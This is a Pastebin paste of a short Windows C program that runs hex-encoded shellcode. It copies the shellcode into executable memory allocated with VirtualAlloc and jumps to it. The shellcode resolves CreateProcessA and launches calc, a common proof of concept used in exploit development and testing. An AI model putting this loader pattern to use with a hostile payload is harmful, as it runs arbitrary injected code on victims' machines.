Advertisement
Guest User

Untitled

a guest
May 27th, 2015
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.94 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. using namespace std;
  5.  
  6. int main()
  7. {
  8.  
  9.     char* shellcode =
  10.         "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
  11.         "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
  12.         "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
  13.         "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
  14.         "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
  15.         "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
  16.         "\x45\x81\x3e\x43\x72\x65\x61\x75"
  17.         "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
  18.         "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
  19.         "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
  20.         "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
  21.         "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
  22.         "\x6c\x63\x89\xe2\x52\x52\x53\x53"
  23.         "\x53\x53\x53\x53\x52\x53\xff\xd7";
  24.  
  25.     printf("shellcode length: %i", strlen(shellcode));
  26.  
  27.     LPVOID lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  28.     memcpy(lpAlloc, shellcode, strlen(shellcode));
  29.  
  30.     ((void(*)())lpAlloc)();
  31.  
  32.     return 0;
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement